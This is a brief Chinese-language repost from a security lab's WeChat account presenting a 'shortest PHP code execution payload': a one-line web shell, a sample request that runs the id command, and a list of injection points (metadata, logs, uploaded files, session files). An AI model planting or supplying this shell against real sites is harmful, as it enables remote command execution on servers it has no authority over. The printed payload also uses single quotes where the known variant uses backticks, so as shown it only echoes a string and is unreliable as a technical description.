PHP实现代码执行的最短Payload

<?='$_GET[1]'?>

http://localhost:8000/rce.php?1=id

这个payload可以被用来反映在web应用程序的很多文件中

1、在元数据中 

2、在日志的某个地方 

3、在您控制的上传文件中 

4、在您的 PHP 会话中（它将被写入文件）

原文始发于微信公众号（Khan安全攻防实验室）：PHP实现代码执行的最短Payload